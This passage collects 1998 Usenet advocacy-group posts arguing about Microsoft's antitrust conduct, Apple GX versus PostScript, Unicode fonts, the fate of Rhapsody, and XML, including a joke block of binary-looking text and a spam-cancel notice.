References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com>
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On Wed, 10 Jun 1998 01:24:34 GMT, someone claiming to be T. Max Devlin
wrote:
>"Michael J. Peck" <mjpeck@nstar.net>, on Mon, 08 Jun 1998 23:41:51
>+0000,
>>Larry Pyeatt wrote:
>>Please post the parts of the Sherman Anti-Trust act prohibiting the
>>destruction of competition.
>"restraint of trade is illegal". Well, OK, I admit, it is not an exact
>quote, but it is the text (not just the jist) of the basic statute. I
>imagine that you will fail to see how destroying the competition is
>restraint of trade. Then again, you fail to see a lot of things.
Like Max actually supplying proof when he's asked. Of course, this is
mainly due to the fact that he rarely (never? I can't recall an
instance...) does.
>>Please post the parts of Microsoft's Company Statement regarding a
>>mission to 'destroy competition'.
>"cut off their air supply", "we just want our fair market share, and our
>fair market share is 110%", "Windows everywhere", et. al,
And these appear in the Company Statement where? Just as an example
of how you tend to grow things Max: The original number in the second
example was 100%. But that wasn't quite bad enough for Max, so he
increased it to 100%. You tend to do this * a lot *, and use the
inflated "facts" to support your position. You thereby do a great
disservice to the positions you purport to advocate, since it
adversely effects your credibility.
>Sorry, I don't have pointers; check one of the news archives and search
>for 'Microsoft'. Have fun.
<Max> Nope. I'm not going to support my statement, and you can't
make me! </Max>
>Oh, but we _can_ argue alone on the merits of Navigator as a separate
>app, regardless of the effect of integrating IE into Windows. IE cannot
>possibly be a superior product, precisely because of the way Microsoft
>"sells" it.
Only because you have included the method of distribution in your
definition of "superior."
>>No, that's precisely the problem. You keep peppering irrelevant and
>>scattered commentary with sophomoric remarks on my ability to follow
>>logic. No 'logic' is forthcoming from you, however. Would you step me
>>through a proof of your prediction that 'hurting' Microsoft is
>>beneficial to the computer industry?
>The industry thrives with competition.
Among other things. Logic would dictate that you need to prove that
competition is the primary driver in the this industry (as opposed to
standards, etc.)
>Microsoft's monopoly suppresses or prevents competition.
Assertion: Logic would dictate that you need to prove that MS
suppresses or prevents competition successfully enough to negatively
impact the industry.
>Hurting Microsoft is therefore good for the industry.
Nope. You've left out several steps in your proof.
>Somehow, I don't think that's what you wanted to hear.
Actually, Mike is probably fairly pleased that you have so nicely
proved his assertion that no logic is forthcoming from you.
>>Let me help you. Start with 'Assertion: ...', then proceed from there.
>>You know the drill, Professor. Come on.
>Screw off, troll. He was right; you haven't made a single logical point
>in the whole discussion. You just keep sniping, and contradicting, and
>saying "so that means you", just like all the other trolls.
And you have? * snort *
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 15:56:24 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6lrj38$858$1@news.cs.tu-berlin.de>
References: <slrn6o0ddh.kcg.sal@panix3.panix.com> <B1A69901-2513B@206.165.43.126>
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"Lawson English" <english@primenet.com> writes:
>Salvatore Denaro <sal@panix3.panix.com> said:
>>On 11 Jun 1998 09:32:01 -0700, Lawson English <english@primenet.com>
>>wrote:
>>>So how well does PS output transparent, overlapping objects to a
>>>pen-plotter?
>>
>>I don't know. You've sold me on GX for all my plotter needs. Can you
>forward
>>me a list of GX printers? GX plotters?
>Any PS printer that can be controlled by Apple's generic PostScript driver
>for System 7.x with GX printing installed. I don't know which plotters have
>GX drivers, but the API exists and I'm pretty sure that some plotter
>drivers WERE written to use it.
You are completely missing the point. How many GX printers are there?
That means, a printer that understands GX.
Marcel
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 16:02:41 GMT
Organization: gte.net
Message-ID: <6lrj05$hlm$16@gte1.gte.net>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM>
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On 10 Jun 1998 18:17:17 GMT, someone claiming to be VHA PC Development
wrote:
>Tim Hawkins <TimHawkins@email.msn.com> wrote in article
><uWKsMaFl9GA.268@upnetnews02.moswest.msn.net>...
>> jedi wrote in message ...
>> >On 28 May 1998 18:40:21 -0600, Craig Kelley <ink@inconnu.isu.edu> wrote:
>> >>In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
>> But not nearly so flexible, the IE HTML rendering engine, not only
>exposes
>> the interfaces that allow instaniation of a rendering
>> view inside your app, and external navigation controls so you can fill it
>Your use of the word flexible is curious. Flexible, in my book, means that
>it'll bend. i.e. It's not cast in stone and unchangeable by someone other
>than the one who created it. Try to use undocumented interfaces without
>paying a toll to the Microsoft troll and you may be facing legal action;
>curious when I hear that MS is using those same undocumented interfaces
>freely in their own apps.
And can you back up that using an undocumented interface with out
payment to MS leads to legal action, and that MS apps freely use
these?
>Somebody post an example.
Someone posted two examples, hardly enough to call a trend.
>Also, IE's being
>integrated as a *service* gives Microsoft nearly complete control over the
>casual user's internet experience effectively shutting out any competition.
Why? One can still use NS, Opera, Lynx, whatever.
> Yes, it may be easier for you as a developer (that's for you to decide)
>but just remember, almost all your technology comes from one place -
>Microsoft yet there is a whole world outside of Redmond, WA for LINUX to
>benefit from.
Yeah, and those pesky file dialogs all come from them too. But wait:
a developer could write their own dialogs, if they wanted. So it's
not the same thing.
But wait: a developer could write their own code to render HTML in
their app, if they wanted, too. Guess it is...
>Evidently, you wont be able to get very far developing applications from
>now on (in Windows) without using Microsoft's proprietary development
>environments or buying their software development kits now will you.
Why do you think this?
>It's not our operating system anymore...It's Microsoft's.
Windows has * never * been our OS.
From: snit@azstarnet.com (Snit)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 Jun 1998 15:47:35 GMT
Organization: Impact Technology
Message-ID: <6lriin$m6b@reader1.news>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <1dagcrd.1uw6xyrhrymkgN@p024.intchg3.net.ubc.ca> <358131A4.AD54542A@milestonerdl.com>
m rassbach (mark@milestonerdl.com) wrote:
> What's a belly laugh here is how Apple defenders for YEARS were saying how
> Unix was "laughably oudated, hideously difficult old junk." And now, where
> are these people, now that Apple is going to a Unix core, and wrapping MacOS
> around Unix?
Here is one long time Mac and Unix fan who has been saying for YEARS
that the ultimate OS would be a combo of the two. Just never though
Apple would listen to little il' me. :)
Snit
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 08:56:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A69D89-361D6@206.165.43.126>
References: <6lr092$rn6$2@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B1A560A8-C4FFE@206.165.43.134> "Lawson English" wrote:
>
>> But DPS can't output overlapping, resolution-independent,
non-opaque
>> objects to PDF OR EPS, can it?
>>
>Yes, it can. Elsewhere I even gave you the method you'd use to do
this:
>
>-=C4(NSData=C4*)dataWithEPSInsideRect:(NSRect)aRect
>
>Returns EPS data that draws the region of the receiver within aRect.
This
>data can be placed on an NSPasteboard, written to a file, or used to
create
>an NSImage object.
>
>e.g.
> epsData =3D [myView dataWithEPSInsideRect:viewRect];
>
>Now that really wasn't so hard, was it?
>This functionality has been around for over a decade now.
Excuse? I've got 3 overlapping, semi-transparent circles, each with
different colors. Are you telling me that the above will produce an
EPS image with 7 closed paths filled with the appropriate colors that
can then be printed on any generic PS printer or displayed via any
EPS-compatible application on any platform with color intact?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 16:00:30 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3581509E.64C43F79@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <petrichEuC1E2.E5u@netcom.com> <357E9D78.A8BFC8F6@nstar.net> <357F4DC7.1FE1@prodigy.net>
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NNTP-Posting-Date: 12 Jun 1998 16:05:30 GMT
dnpibel wrote:
>
> Michael J. Peck wrote:
>
> You say this happened on earth? In this timeline?
>
> I hate to sound like Roger, but could you fill me in just a tiny tad on
> your source for this information?
>
> > Actually, it's very disgusting that you should say this, because it
> > demonstrates how little you actually understand about law, historically.
> > Under Common Law in England (and found elsewhere during specific periods
> > of history, such as the "Wild" West in America), the protection of the
> > law had absolutely nothing to do with what we now call "law
> > enforcement".
>
> (snip of beautiful story about the olden days before jail, &c.; Mr. Peck
> knows the story -- just wanted to leave enough for him to identify)
Book Eighteen, Lines 564-584:
He pictured, then, two cities, noble scenes:
weddings in one, and wedding feasts, and brides
led out through town by torchlight from their chambers
amid chorales, amid the young men turning
round and round in dances: flutes and harps
among them, keeping up a tune, and women
coming outdoors to stare as they went by.
A crowd, then, in a market place, and there
two men at odds over satisfaction owed
for a murder done: one claimed that all was paid,
and publicly declared it; his opponent
turned the reparation down, and both
demanded a verdict from an arbiter,
as people clamored in support of each,
and criers restrained the crowd. The town elders
sat in a ring, on chairs of polished stone,
the staves of clarion criers in their hands,
with which they sprang up, each to speak in turn,
and in the middle were two golden measures
to be awarded him whose argument
would be the most straightforward.
Homer, _The Iliad_, Translation by Robert Fitzgerald
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 08:37:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A69901-2513B@206.165.43.126>
References: <slrn6o0ddh.kcg.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Salvatore Denaro <sal@panix3.panix.com> said:
>On 11 Jun 1998 09:32:01 -0700, Lawson English <english@primenet.com>
>wrote:
>>So how well does PS output transparent, overlapping objects to a
>>pen-plotter?
>
>I don't know. You've sold me on GX for all my plotter needs. Can you
forward
>me a list of GX printers? GX plotters?
Any PS printer that can be controlled by Apple's generic PostScript driver
for System 7.x with GX printing installed. I don't know which plotters have
GX drivers, but the API exists and I'm pretty sure that some plotter
drivers WERE written to use it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 08:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A69C00-30576@206.165.43.126>
References: <slrn6o0ed9.kcg.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Salvatore Denaro <sal@panix3.panix.com> said:
>On 11 Jun 1998 11:03:01 -0700, Lawson English <english@primenet.com>
>wrote:
>>So how does one handle the "Klingon Font Problem?"*
>
>Clearly this is your chance to save GX. Contact any of the many Klingon
OK, how does it handle the "Cherokee Nation Font" problem?
Mock it as you will. It was meant to humorously show that Unicode isn't
extensible. If a scholar wants to create a font using some ancient race's
writing system, GX will allow him to create a GX font specific to his needs
and handle its display gracefully, AFAIK, because the encoding,
alphabetization, etc., of the writing system is encapsulated in the font
tables and will be used intelligently by GX. ATSUI may or may not be able
to do this, but the fact that it is being billed as "Unicode" suggests that
any writing system that isn't Unicode-compatible will have problems.
Certainly, the NS string class that is supposed to return the unicode
encoding will have problems because the encoding simply won't exist.
My example was the Cherokee (they're the one's with their own writing
system, right?) writing system. Does Unicode recognize them? What if the
Navajos or Hopis or other large tribe (these tribes number in the millions
of members, so this isn't an unlikely scenario) decides that THEIR nation
should have a native writing system also?
GX should be able to handle this with no problems. Is Unicode 2.0
extensible "in the field" so that non-Unicode writing systems can be
assigned encodings as needed?
There ARE reasons why Unicode isn't the best possible solution, excluding
the Unified Han problem. Dave Opstad once asserted that whatever solution
the Asian nations come up with for the Unified Han Problem should work just
fine within GX since it was designed to be extensible in that regard
(identification of languages and writing systems). How extensible is the
encoding of ATSUI? The NS text/string classes? Unicode 2.0?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <35814892.22D96CEE@wildfire.com>
Date: Fri, 12 Jun 1998 11:26:10 -0400
From: Tony Lovell <tone@wildfire.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu> <slrn6ns2jt.qvl.sal@panix3.panix.com> <rmcassid-1006980015520001@dialin9155.slip.uci.edu> <*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca> <SCOTT.98Jun10093531@slave.doubleu.com> <35805722.853FAC1E@wildfire.com> <rmcassid-1106981617130001@dante.eng.uci.edu>
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Robert Cassidy wrote:
>
> In article <35805722.853FAC1E@wildfire.com>, Tony Lovell
> <tone@wildfire.com> wrote:
>
> >I'll hijack your meaning here and say that adding a battery to a VCR
> >would be dumb. Adding a means to take a global time reading off the
> >blanking interval in a broadcast video signal is a much better solution!
> >
> >It would be the one clock in your life that was correct (for most of
> >us).
>
> Does that mean you need to teach your VCR what timezone and daylight
> savings time scheme it's in?
>
Once. Trade it off against battery changes for perpetuity.
FWIW, defaults for this could come from community access channels.
tone
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 12 Jun 1998 10:22:51 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lrdjs$ks8$1@crib.corepower.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com>
In article <6lrcps$b9@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> Nathan Urban <nurban@vt.edu> wrote:
> : In article <6lpp28$sup@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> : > Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
> : > : No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
> : > : Technically speaking, no biggie. By introducing Rhapsody and then
> : > : changing names, it gives Apple a REALLY big window to play with.
> : > So binaries compiled on Rhapsody will run on MacOS X?
> : That may not be the case (I think RDR2 isn't even binary compatible
> : with RDR1). But they'll be source-level compatible, at least in the
> : forward direction (Rhapsody to OS X).
> Right, just like they'll be source-level compatible to NT. Does that mean
> NT is Rhapsody?
Don't be an idiot. I never claimed that source-level compatibility
meant that MacOS X is Rhapsody. There are plenty of _other_ reasons to
believe that (such as the same Mach/BSD core).
From: Alan Frabutt <afrabutt@bcomp.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: Fri, 12 Jun 1998 10:09:48 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <358136AC.C4DA11CC@bcomp.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com>
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Nathan Urban wrote:
<snip>
> Even if they didn't ship with it, it would be trivial to compile a BSD
> binary.
Vanilla UNIX under the hood doesn't buy apple more than a ticket into
the enterprise marketplace. Once there, you have to have something to
sell. Noble efforts will continue to be made to keep the current version
of sendmail, etc., compiled on the platform, but where does that go?
They have the opportunity to do what the other UNIX vendors haven't
tried... take the power of UNIX beyond (arguably) arcane library API's,
into objects. Tremendous leverage. And Apple could leverage the ongoing
development in the free UNIX arena to it's advantage. There is no way
they can or should re-invent what UNIX offers at some obsolete Mac
toolbox level...
I'm probably sounding hysterical, but I can't imagine Apple succeeding
without a server OS strategy.
Regards,
Alan Frabutt
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 12 Jun 1998 09:51:02 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35814056.4A73EAFA@milestonerdl.com>
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Vik Rubenfeld wrote:
> What do you guys make of this article at:
>
> <http://www.zdnet.com/macweek/1222/nw_rhapsody.html>
>
> > Bereskin stressed, however, that the end of the strategy isn't the
> > extinction of Rhapsody. The OS will live on as a product but won't
> > evolve past the first customer releases for Intel-standard and PowerPC
> > platforms due this fall.
> >
> >After Version 1.0, "There are no plans for releases of Rhapsody,"
> Bereskin said.
>
> I had been very interested in doing a Rhapsody application
Look at it this way, with no new versions of the OS, Apple can never break
your program.
> that could be
> recompiled for cross-platform release on both Mac and Windows. This
> article seems to indicate that using the Rhapsody API's for such releases
> won't be possible, since Rhapsody will not be maintained.
Rhapsody as a product line (announced at WWDC 1997 killed WWDC 1998) is
dead. Your desire to have a Mac/Windows product still seems to be an option
for you, as long as you trust that Apple won't kill the Windows version, or
kill both by making Carbon cross platform.
Ya gotta ask yourself.....do you feel lucky?
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 12 Jun 1998 09:57:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <358141C4.D3EF535C@milestonerdl.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <35805B1A.E622C899@nospam.com> <6lphe5$ikl$1@crib.corepower.com>
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Nathan Urban wrote:
> In article <35805B1A.E622C899@nospam.com>, Tim Triemstra <nospam@nospam.com> wrote:
>
> > As anybody seen ANYTHING quoted from somewhere in Apple stating that
> > they are still excited about Yellow Box or that it will be good for
> > developers?
>
> "Meanwhile, Apple will further exploit Rhapsody's `collection of
> exceptional technologies,' [Apple director of OS technologies, worldwide
> product marketing] Bereskin said.
And Steve Jobs said 'advanced development environment' (Keynote speech)
Neither of these quotes say 'YellowBox' and gives Apple room to 'wiggle away'.
The rest was a quote of a jouralist....
Without white papers or press-releases from Apple stating where they are going, you are
guessing the direction of Apple. Ask OpenDoc and Newton developers how well guessing
at what Apple is going to do worked for them.
Message-ID: <35814A6E.5ACAD078@wildfire.com>
Date: Fri, 12 Jun 1998 11:34:06 -0400
From: Tony Lovell <tone@wildfire.com>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2> <35805AFF.A4CC45D2@wildfire.com> <01bd95d2$5c306c30$100ba8c0@voodoo2>
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Earl Malmrose wrote:
>
> Tony Lovell <tone@wildfire.com> wrote in article
> <35805AFF.A4CC45D2@wildfire.com>...
> > 25 million new lines of code... You're saying it might just work?!
> >
> > I'd say GigaWorld is hardly going out on a limb here. They could be a
> > bakery and I'd grant their concern some creedence.
>
> Well, I question where the 85% new comments, but that's beside my point:
>
> I've had Beta 1 for a while now. I just expect a decent research company to
> do more than just expect something. Go try it! Make a real, informed,
> researched evaluation.
No time or machine. Plus, even when NT works perfectly, it is ... NT.
:) I'm just playing devil's advocate and defending a criticism that has
a plausible basis.
NT 5.0 will surely be okay at some point.. but probably not at the time
of its release. My only point was that it is not insane to assume that
it will have a teething phase -- particularly when seen from the
perspective of people who already deploy a patched level of a proven
release.
the "dot oh" release wariness is a uniform, simple guideline for people
who don't make platform choices on faith alone.
tone
From: russotto@wanda.pond.com (Matthew T. Russotto)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 12 Jun 1998 18:36:07 GMT
Organization: Ghotinet
Message-ID: <6lrsen$235@netaxs.com>
References: <357C11AF.D1BF8149@technologist.com> <SCOTT.98Jun10093531@slave.doubleu.com> <35805722.853FAC1E@wildfire.com> <SCOTT.98Jun11165121@slave.doubleu.com>
In article <SCOTT.98Jun11165121@slave.doubleu.com>,
Scott Hess <scott@doubleu.com> wrote:
}Better yet would be to put a receiver chip into the appliances, and
}then allow for a short-range transmitter to transmit the time. I'm
}thinking something that you could purchase yourself. _That_ might or
}might not be more elaborate, perhaps using GPS or shortwave or NTP or
}an atomic clock to aquire a decent timebase.
This is kind of overkill for a clock, isn't it?
}My point being that this is unlikely to happen for many years. At
}some point, yes, it will be so cheap that it just doesn't make sense
}not to do it (perhaps someone comes out with an ASIC core which can do
}it, given a couple inches of trace on the board as input). But my
}point was that until it becomes almost free to the manufacturer, it's
}unlikely to happen,
Input is the problem. GPS requires an external antenna, and who wants
to hook one up to every clock? Same for shortwave. NTP requires a
network connection, and we're not quite to the level of having one in
every appliance yet.
--
Matthew T. Russotto russotto@pond.com
"Extremism in defense of liberty is no vice, and moderation in pursuit
of justice is no virtue."
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <dXag1.25127$xE3.8083324@axe.netdoor.com>
Control: cancel <dXag1.25127$xE3.8083324@axe.netdoor.com>
Date: 12 Jun 1998 14:29:30 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: crufjetq@aol.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 18:49:03 GMT
Organization: University of California at San Diego
Message-ID: <slrn6o2u0t.nm5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com> <6lq9lf$m6c$1@news.xmission.com>
On 12 Jun 1998 04:09:19 GMT, Don Yacktman <don@misckit.com> wrote:
:scott@doubleu.com (Scott Hess) wrote:
:> You could use XML as a message format for Corba, or as a file format
:> to store EOModels in, or as a replacement for NSPPL format, or as a
:> replacement for the NSArchive format, whatever. Anyplace you need to
:> store structured data in a file.
:
:See, that's it right there: generic structured data storage that is human
:readable and easy to manipulate (in a text editor _or_ in a program). Why's
:that a good thing? To throw open a few doors (you have to look inside to see
:everything that's in the room), briefly here's a few things I like:
:
:* file formats can no longer be proprietary because they're way too easy to
:engineer. XML is human readable, so it is easy to figure out what is stored,
:where, and how.
Really?
<WORD2001STUFF>
MPY!5B>6#[!!75E-H$MT$".@)Y___B<*)5?2#Q2%T@^$U0(`(Z`^$S(
M#'_9J$<W00(9H
E%_(H%'MT$"(A%_E+HZ2T`*.@`4(B47XO@$`"#Q2-
M3?R)3?"-=@"#_@(/A-<`!_%8/^70PZ0"`"-="8C;PG``(/^P^$
M!P$`(/^!^$G@$`.G>0`B?:-O"<``BU7TB@(\*G0G?Q6$P^$10(
M.Mff
KC70F(V\)P``\.G5<0HE5].FH0`C78:A3HN2P`(G'H9S]!B)
M1Q")/9S]!C_1?2+1?B)1P2#Q1J8U%]%"-1?A0Z'[Y__^#QR)![X$``
MZ4_____K#9"0D)"0D)"0D)"0D)"+1?2*(A%_/]%]+X"``Z2O___^-="8
MC;Pf
G``(M%](HA,/A#(!`"(1?W_1?2^P`.D#____C78P>,#BT7X
MB8,P_00(:@"-1?10C47X4.@%^?__@\0,B8,L_00(O@$`#K2)"-="8OO__
</WORD2001STUFF>
: So, as a data storage system XML looks better than
:any of the offerings in OPENSTEP.
No disagreement. XML done right seems like a real winner.
Now, I'd *really* like it if every darn configuration file on every Unix
machine were in XML, with common tags negotiated by operating system
groups. And then, of course, NetInfo-like XML network distribution.
That would be a real fundamental improvement.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: 12 Jun 1998 19:06:06 GMT
Organization: University of California at San Diego
Message-ID: <slrn6o2v0t.nm5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <1dagcrd.1uw6xyrhrymkgN@p024.intchg3.net.ubc.ca> <358131A4.AD54542A@milestonerdl.com> <6lriin$m6b@reader1.news>
On 12 Jun 1998 15:47:35 GMT, Snit <snit@azstarnet.com> wrote:
:
:Here is one long time Mac and Unix fan who has been saying for YEARS
:that the ultimate OS would be a combo of the two. Just never though
:Apple would listen to little il' me. :)
No. Apple didn't listen to Steven P. Jobs either about 11 years ago.
:Snit
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 19:04:29 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35817BBD.C2CD89BB@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <petrichEuC1E2.E5u@netcom.com> <357E9D78.A8BFC8F6@nstar.net> <357F4DC7.1FE1@prodigy.net> <3581509E.64C43F79@nstar.net> <35816417.474E@prodigy.net>
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NNTP-Posting-Date: 12 Jun 1998 19:09:30 GMT
dnpibel wrote:
> (snip of Mr. Peck's response, being a quotation from _The Iliad_
> describing a scene in which a tribunal is deciding who gets a pile of
> gold)
>
> I guess I should have been a bit more specific. I'm not aware that the
> ancient Greeks were governed by English common law, and I'm pretty sure
> that they didn't live in the American wild west.
>
> You posited some long trail of historical precedent, along with English
> common law and the American wild west experience for the proposition
> that in truly civilized societies, the common practice was something
> akin to Mennonite shunning, with a garnish of open season on the bad
> guys. A quote from the Iliad is mighty slim support for that.
>
> I'm done with this discussion, lest people begin asking the rather
> obvious question: wtf does this have to do with Micros**t, computers, or
> the real world?
Very well. Allow me to have the last word on't, then. My point was that
there is little precedent, outside of the current American system, of
charges brought against private defendents by the state. The exceptions
have been historical aberrations: Nazi Germany, Communist Russia, Divine
Right Europe, and (strangely enough) the United States. In fact, the
